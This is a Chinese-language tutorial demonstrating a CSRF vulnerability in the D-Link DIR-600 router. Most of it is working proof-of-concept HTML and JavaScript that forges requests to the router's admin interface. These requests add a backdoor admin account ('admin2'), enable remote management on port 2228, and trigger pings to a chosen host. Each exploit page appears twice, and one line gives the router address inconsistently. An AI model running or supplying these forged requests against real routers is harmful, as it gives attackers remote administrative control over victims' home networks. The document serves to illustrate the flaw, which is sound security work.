概述
1,介绍
本文的目的是展示CSRF漏洞的危害,以D-link的DIR-600路由器(硬件版本:BX,固件版本:2.16)的CSRF漏洞为例。
D-link的CSRF漏洞已经是公开的,本文将详细描述一下整个D-link CSRF漏洞的利用,如何通过CSRF漏洞实现远程管理访问D-link路由器。
2,CSRF漏洞说明
如果某些request请求中没有csrf token或不需要密码授权,会存在CSRF漏洞,该漏洞允许攻击者伪造登录用户发送请求,因此可以导致用户执行攻击者想要的操作请求。
通过D-link 管理面板的CSRF漏洞,攻击者可以做以下操作:
@1,添加一个新的管理帐号;
@2,启用路由器的远程管理;
@3,ping特定的机器;此操作只需要登录路由器就可以实现,需要知道路由器的WAN IP地址。
3,PART1:给路由器增加一个新的管理帐号
需要两个request请求来完成
REQUEST1:
复制代码
代码如下:<html>
<body>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://192.168.0.1/hedwig.cgi", true);
xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "text/plain; charset=UTF-8");
xhr.withCredentials = "true";
var body = "<?xml version=\"1.0\" encoding=\"UTF-8\" ?>"+
"
<postxml>"+
"<module>"+
"<service>DEVICE.ACCOUNT</service>"+
"<device>"+
"<account>"+
"<seqno/>"+
"<max>1</max>"+
"<count>2</count>"+
"<entry>"+
"<name>admin</name>"+
"
<password>==OoXxGgYy==</password>"+
"<group>0</group>"+
"<description/>"+
"</entry>"+
"<entry>"+
"<name>admin2</name>"+
"
<password>pass2</password>"+
"<group>0</group>"+
"<description/>"+
"</entry>"+
"</account>"+
"<session>"+
"<captcha>0</captcha>"+
"<dummy/>"+
"<timeout>180</timeout>"+
"<maxsession>128</maxsession>"+
"<maxauthorized>16</maxauthorized>"+
"</session>"+
"</device>"+
"</module>"+
"<module>"+
"<service>HTTP.WAN-1</service>"+
"<inf>"+
"<web>2228</web>"+
"<weballow>"+
"<hostv4ip/>"+
"</weballow>"+
"</inf>"+
"</module>"+
"<module>"+
"<service>HTTP.WAN-2</service>"+
"<inf>"+
"<web>2228</web>"+
"<weballow>"+
"<hostv4ip/>"+
"</weballow>"+
"</inf>"+
"</module>"+
"</postxml>";
xhr.send(body);
}
</script>
<form action="#">
<input type="button" value="Submit request1" onclick="submitRequest();" />
</form>
</body>
</html>
<body>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://192.168.0.1/hedwig.cgi", true);
xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "text/plain; charset=UTF-8");
xhr.withCredentials = "true";
var body = "<?xml version=\"1.0\" encoding=\"UTF-8\" ?>"+
"
<postxml>"+
"<module>"+
"<service>DEVICE.ACCOUNT</service>"+
"<device>"+
"<account>"+
"<seqno/>"+
"<max>1</max>"+
"<count>2</count>"+
"<entry>"+
"<name>admin</name>"+
"
<password>==OoXxGgYy==</password>"+
"<group>0</group>"+
"<description/>"+
"</entry>"+
"<entry>"+
"<name>admin2</name>"+
"
<password>pass2</password>"+
"<group>0</group>"+
"<description/>"+
"</entry>"+
"</account>"+
"<session>"+
"<captcha>0</captcha>"+
"<dummy/>"+
"<timeout>180</timeout>"+
"<maxsession>128</maxsession>"+
"<maxauthorized>16</maxauthorized>"+
"</session>"+
"</device>"+
"</module>"+
"<module>"+
"<service>HTTP.WAN-1</service>"+
"<inf>"+
"<web>2228</web>"+
"<weballow>"+
"<hostv4ip/>"+
"</weballow>"+
"</inf>"+
"</module>"+
"<module>"+
"<service>HTTP.WAN-2</service>"+
"<inf>"+
"<web>2228</web>"+
"<weballow>"+
"<hostv4ip/>"+
"</weballow>"+
"</inf>"+
"</module>"+
"</postxml>";
xhr.send(body);
}
</script>
<form action="#">
<input type="button" value="Submit request1" onclick="submitRequest();" />
</form>
</body>
</html>
REQUEST2:
复制代码
代码如下:<html>
<body>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://192.168.0.1/pigwidgeon.cgi", true);
xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8");
xhr.withCredentials = "true";
var body = "ACTIONS=SETCFG%2CSAVE%2CACTIVATE";
xhr.send(body);
}
</script>
<form action="#">
<input type="button" value="Submit request2" onclick="submitRequest();" />
</form>
</body>
</html>
<body>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://192.168.0.1/pigwidgeon.cgi", true);
xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8");
xhr.withCredentials = "true";
var body = "ACTIONS=SETCFG%2CSAVE%2CACTIVATE";
xhr.send(body);
}
</script>
<form action="#">
<input type="button" value="Submit request2" onclick="submitRequest();" />
</form>
</body>
</html>
REQUEST1和REQUEST2中,默认的路由局域网IP地址是192.198.0.1,管理帐号是admin,REQUEST1中的request请求中,当密码字段为==OoXxGgYy==的时候,是不会修改admin帐号的密码的。这两个请求完成了管理帐号admin2的添加,同时启用了远程管理端口2228.
PART2:ping特定的主机
REQUEST3:
复制代码
代码如下:<html>
<body>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://192.168.0.1/diagnostic.php", true);
xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8");
xhr.withCredentials = "true";
var body = "act=ping&dst=X.Y.Z.W";
xhr.send(body);
}
</script>
<form action="#">
<input type="button" value="Submit request3" onclick="submitRequest();" />
</form>
</body>
</html>
<body>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://192.168.0.1/diagnostic.php", true);
xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8");
xhr.withCredentials = "true";
var body = "act=ping&dst=X.Y.Z.W";
xhr.send(body);
}
</script>
<form action="#">
<input type="button" value="Submit request3" onclick="submitRequest();" />
</form>
</body>
</html>
只需要求该代码中的X.Y.Z.W为你需要ping的主机IP地址就可以。
最后
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